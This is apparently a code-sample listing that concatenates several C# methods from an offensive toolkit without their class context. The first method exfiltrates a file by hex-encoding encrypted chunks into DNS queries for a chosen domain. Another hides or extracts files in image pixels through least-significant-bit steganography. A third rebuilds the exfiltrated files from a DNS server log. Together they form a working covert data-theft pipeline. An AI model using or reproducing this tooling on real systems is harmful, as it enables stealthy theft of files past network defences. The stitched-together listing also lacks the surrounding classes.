Beispiel #1
0
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }

            DnsClient dns  = DnsServer == null ? DnsClient.Default : new DnsClient(DnsServer, 10000);
            bool      ipv6 = dns.Servers[0].AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6;

            // Get counter
            byte[] g;
            switch (Convert.ToInt32(Target["Size"]))
            {
            case 8: { g = BitConverterHelper.GetBytesInt64(CounterHelper.GetNextInt64()); break; }

            case 4: { g = BitConverterHelper.GetBytesUInt32(CounterHelper.GetNextUInt32()); break; }

            case 2: { g = BitConverterHelper.GetBytesUInt16(CounterHelper.GetNextUInt16()); break; }

            case 1: { g = new byte[] { CounterHelper.GetNextByte() }; break; }

            default: { g = BitConverterHelper.GetBytesInt64(DateTime.UtcNow.ToBinary()); break; }
            }

            // Copy file id
            bool sendPacketOrder = SendPacketOrder;
            int  headerLength    = g.Length;

            if (sendPacketOrder)
            {
                headerLength += 4;          // packetNum
            }
            byte[] data = new byte[63 / 2]; // hex 2 bytes per byte
            Array.Copy(g, data, g.Length);

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Send in RawMode (without any Encryption)");
            }

            WriteInfo("Start sending file", HexHelper.Buffer2Hex(g, 0, g.Length), ConsoleColor.Green);

            byte[] crypted = null;

            if (aes != null)
            {
                using (Stream fs = File.OpenRead())
                    crypted = aes.Encrypt(fs, false, null);
            }

            int position = 0;

            using (Stream fs = (crypted == null ? (Stream)File.OpenRead() : (Stream) new MemoryStream(crypted)))
            {
                int total = (int)(fs.Length / (data.Length - headerLength));
                if (fs.Length % (data.Length - headerLength) != 0)
                {
                    total++;
                }
                WriteInfo("Sending " + (total) + " dns querys ...");

                StartProgress(total);

                while (true)
                {
                    // copy counter
                    if (sendPacketOrder)
                    {
                        byte[] p = BitConverterHelper.GetBytesInt32(position);
                        Array.Copy(p, 0, data, headerLength - 4, 4);
                    }
                    position++;

                    // read
                    int lee = fs.Read(data, headerLength, data.Length - headerLength);
                    if (lee <= 0)
                    {
                        break;
                    }

                    // generateFile
                    string name = HexHelper.Buffer2Hex(data, 0, headerLength + lee) + "." + DomainName;

                    dns.Resolve(name, ipv6 ? RecordType.Aaaa : RecordType.A);
                    if (Sleep > 0)
                    {
                        Thread.Sleep(Sleep);
                    }

                    WriteProgress(position);
                }

                EndProgress();
            }

            WriteInfo("Done");

            return(true);
        }
        public override bool Run()
        {
            if (!LocalFileRead.Exists)
            {
                return(false);
            }

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Read/Write in RawMode (without any Encryption)");
            }

            using (Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName))
            {
                switch (Mode)
                {
                case EMode.Write:
                {
                    if (!LocalFileWrite.Exists)
                    {
                        WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
                        return(false);
                    }
                    WriteInfo("Start reading file");

                    byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
                    if (aes != null)
                    {
                        data = aes.Encrypt(data);
                    }

                    byte[] header    = BitConverterHelper.GetBytesInt32(data.Length);
                    int    totalSize = data.Length + header.Length;

                    int av = CalculateMaxLength(img.Width, img.Height);

                    WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
                    WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);

                    if (totalSize <= av)
                    {
                        WriteInfo("Its viable!");
                    }
                    else
                    {
                        WriteError("You need a image more larger or a message more shorter ... sorry :(");
                        return(false);
                    }

                    // crear array binario
                    StringBuilder binary = new StringBuilder();

                    for (int x = 0, m = header.Length; x < m; x++)
                    {
                        binary.Append(Convert.ToString(header[x], 2).PadLeft(8, '0'));
                    }

                    for (int x = 0, m = data.Length; x < m; x++)
                    {
                        binary.Append(Convert.ToString(data[x], 2).PadLeft(8, '0'));
                    }

                    char[] sb  = binary.ToString().ToCharArray();
                    int    sbl = sb.Length;
                    binary.Clear();

                    // Cadena binaria creada
                    int  width   = img.Width;
                    int  height  = img.Height;
                    bool toLower = true;

                    WriteInfo("Start writing image");
                    StartProgress(width * height);

                    byte r, g, b;
                    int  index = 0, current = 0;
                    for (int x = 0; x < width; x++)
                    {
                        for (int y = 0; y < height; y++)
                        {
                            r = GetBinary(sb, ref index, sbl);
                            g = GetBinary(sb, ref index, sbl);
                            b = GetBinary(sb, ref index, sbl);

                            Color clr = img.GetPixel(x, y);

                            clr = SetColor(clr, r, g, b, toLower);
                            img.SetPixel(x, y, clr);

                            current++;
                            WriteProgress(current);
                        }
                    }

                    EndProgress();

                    WriteInfo("Writing output");
                    img.Save(LocalFileWrite.FullName, ImageFormat.Png);
                    break;
                }

                case EMode.Read:
                {
                    WriteInfo("Start reading image");

                    int width  = img.Width;
                    int height = img.Height;
                    int av     = CalculateMaxLength(width, height);

                    StartProgress(width * height);

                    byte[] data   = null;
                    byte[] header = new byte[4];

                    string binary = "";

                    int  dataLength   = 0;
                    int  dataIndex    = 0;
                    int  headerReaded = 0;
                    byte b;
                    int  current = 0;
                    for (int x = 0; x < width; x++)
                    {
                        for (int y = 0; y < height; y++)
                        {
                            Color clr = img.GetPixel(x, y);

                            if (Append(ref binary, out b, clr.R % 2 == 0, clr.G % 2 == 0, clr.B % 2 == 0))
                            {
                                if (headerReaded < 4)
                                {
                                    header[headerReaded] = b;
                                    headerReaded++;

                                    if (headerReaded == 4)
                                    {
                                        dataLength = BitConverterHelper.ToInt32(header, 0);

                                        if (dataLength > av)
                                        {
                                            EndProgress();

                                            WriteInfo("Image maybe contains", GetSize(dataLength), ConsoleColor.Green);
                                            WriteError("Max bytes available " + GetSize(av));
                                            return(false);
                                        }

                                        data = new byte[dataLength];
                                    }
                                }
                                else
                                {
                                    data[dataIndex] = b;
                                    dataIndex++;
                                    if (dataIndex >= dataLength)
                                    {
                                        x = width + 1;
                                        break;
                                    }
                                }
                            }

                            current++;
                            WriteProgress(current);
                        }
                    }

                    EndProgress();

                    if (aes != null)
                    {
                        WriteInfo("Start decrypting file", GetSize(data.Length), ConsoleColor.Green);
                        data = aes.Decrypt(data);
                    }

                    if (data == null)
                    {
                        WriteInfo("Error decrypting file");
                        return(false);
                    }

                    WriteInfo("Writing output", GetSize(data.Length), ConsoleColor.Green);
                    File.WriteAllBytes(LocalFileWrite.FullName, data);

                    break;
                }
                }
            }

            return(true);
        }
        public override bool Run()
        {
            if (!File.Exists)
            {
                return(false);
            }
            if (!OutFolder.Exists)
            {
                return(false);
            }

            AESHelper aes = AESHelper.Create(this);

            if (aes != null)
            {
                WriteInfo("Using AES Encryption");
            }
            else
            {
                WriteError("Read in RawMode (without any Encryption)");
            }

            WriteInfo("Start reading file ...");
            Dictionary <string, List <packet> > dic = new Dictionary <string, List <packet> >();

            using (Stream fs = (Stream)File.OpenRead())
                using (StreamReader sr = new StreamReader(fs))
                {
                    string line;
                    while ((line = sr.ReadLine()) != null)
                    {
                        string fileId;
                        packet packet;

                        if (!parse(line, out fileId, out packet))
                        {
                            continue;
                        }

                        if (dic.ContainsKey(fileId))
                        {
                            dic[fileId].Add(packet);
                        }
                        else
                        {
                            List <packet> pc = new List <packet>();
                            pc.Add(packet);
                            dic.Add(fileId, pc);
                        }
                    }
                }

            WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
            if (dic.Keys.Count > 0)
            {
                WriteInfo("Reordering packets ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> p = dic[k];
                    p.Sort(sortPacket);
                }

                WriteInfo("Dump files ...");

                foreach (string k in dic.Keys)
                {
                    List <packet> lp   = dic[k];
                    string        path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";

                    using (MemoryStream ms = new MemoryStream())
                    {
                        foreach (packet p in lp)
                        {
                            ms.Write(p.Data, 0, p.Data.Length);
                        }

                        if (aes != null)
                        {
                            byte[] d = aes.Decrypt(ms.ToArray());
                            if (d == null)
                            {
                                WriteError("Error in decrypt process");
                                continue;
                            }
                            System.IO.File.WriteAllBytes(path, d);
                        }
                        else
                        {
                            System.IO.File.WriteAllBytes(path, ms.ToArray());
                        }

                        WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
                    }
                }
            }
            return(true);
        }
        public override ECheck Check()
        {
            try
            {
                if (!LocalFileRead.Exists)
                {
                    WriteError("LocalFileRead must exists");
                    return(ECheck.Error);
                }

                if (Mode == EMode.Write && !LocalFileWrite.Exists)
                {
                    WriteError("In this mode LocalFileWrite must exists, and will be replaced with the result image");
                    return(ECheck.Error);
                }

                try
                {
                    Bitmap img = (Bitmap)Image.FromFile(LocalFileRead.FullName);

                    AESHelper aes = AESHelper.Create(this);

                    if (Mode == EMode.Write)
                    {
                        byte[] data = File.ReadAllBytes(LocalFileWrite.FullName);
                        if (aes != null)
                        {
                            data = aes.Encrypt(data);
                        }

                        int totalSize = data.Length + 4;
                        int av        = CalculateMaxLength(img.Width, img.Height);

                        WriteInfo("Bytes to encode", GetSize(totalSize), ConsoleColor.Green);
                        WriteInfo("Bytes available", GetSize(av), ConsoleColor.DarkCyan);

                        if (totalSize <= av)
                        {
                            if (totalSize != av)
                            {
                                WriteInfo("You can write more!", GetSize(av - totalSize), ConsoleColor.DarkCyan);
                            }
                            return(ECheck.Ok);
                        }
                        else
                        {
                            WriteError("You need a image more larger or a message more shorter ... sorry :(");
                            return(ECheck.Error);
                        }
                    }

                    img.Dispose();
                }
                catch
                {
                    WriteError("LocalFileRead must be a valid image");
                    return(ECheck.Error);
                }

                return(ECheck.Ok);
            }
            catch { return(ECheck.Error); }
        }